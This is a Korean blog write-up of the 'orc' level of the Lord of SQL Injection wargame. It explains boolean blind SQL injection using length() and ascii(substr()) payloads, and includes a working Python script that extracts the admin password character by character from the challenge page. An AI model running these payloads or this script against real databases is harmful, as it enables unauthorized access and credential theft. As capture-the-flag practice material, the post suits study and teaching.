반응형
문제 정보
문제 이름 : orc
문제 설명
위 소스코드에서 mysqli_fetch_array함수에서 id와 pw를 DB의 내용과 비교해 참일경우 Hello admin을 반환한다.
아래 코드는 result['pw']가 참이고 result['pw']와 우리가 입력한 pw가 같으면 문제를 해결할 수 있다.
필터링이 많이 안되어있기 때문에 blind injection으로 비밀번호를 추출할 수 있다.
앞에 id= admin and pw부분을 거짓으로 날리고
거짓 or id=admin으로 참으로 성립한다음
참 and length(pw)=8#으로 pw의 길이가 참일경우 Hello admin이 출력하도록 진행하였다.
이로 인해 pw의 길이가 8임을 알 수 있다.
패스워드의 값을 하나씩 추출하기 위해서 mysql에서 문자열 자르기 함수인 substr함수를 사용한다.
SUBSTRING, SUBSTR('문자열 STR', '시작지점 START', '길이 LENGTH')
문자열을 시작지점부터 길이만큼 추출 / [길이 미입력시 끝까지 추출]
위와 같이 substr(pw,1,1)부터 substr(pw,8,1)까지 찾아보면 될것이다.
mysql의 ascii 함수를 사용하면 해당 문자를 ascii코드값을 반환한다. 이를 통해 비밀번호를 찾아보겠다.
ascii값으로 48인 문자열이 pw의 첫번째 문자다. 문자는 0이다.
이렇게 하나씩 대입해서 찾기에는 시간이 오래걸리기 때문에 스크립트를 작성하여 비밀번호를 획득하도록 하겠다.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies = {"PHPSESSID":"세션ID"}
pw_length = ''
admin_password = ''
# password의 length 알아내기
# for i in range(1,20):
# req = f"{url}?pw=' or length(pw)={i}%23"
# res = requests.get(req, cookies=cookies)
# if res.text.find("<br><h2>Hello admin</h2><code>") != -1: # if this text is found, this function returns the location. if not found, a value of -1 is returned.(in the find fucntion)
# print(f"password length: {i}")
# password cracking
for index in range(1,9): # index 1 ~ 8
for number in range(33,128): # use ascii codes between 33 and 128.
req = f"{url}?pw=' or ascii(substr(pw,{index},1))={number}%23"
res = requests.get(req, cookies=cookies)
#print(index, number)
if res.text.find("<br><h2>Hello admin</h2><code>") != -1:
print(f"{index}번째 password value: {chr(number)}")
admin_password += chr(number)
break
print(f"admin password is: {admin_password}")
반응형
'WEB hacking > LORD OF SQL INJECTION' 카테고리의 다른 글
[Lord of SQL Injection] darkelf 문제 풀이 (0) | 2023.04.08 |
---|---|
[Lord of SQL Injection] wolfman 문제 풀이 (0) | 2023.04.06 |
[Lord of SQL Injection] goblin 문제 풀이 (0) | 2023.04.02 |
[Lord of SQL Injection] cobolt 문제 풀이 (0) | 2023.03.31 |
[Lord of SQL Injection] gremlin 문제 풀이 (1) | 2022.09.27 |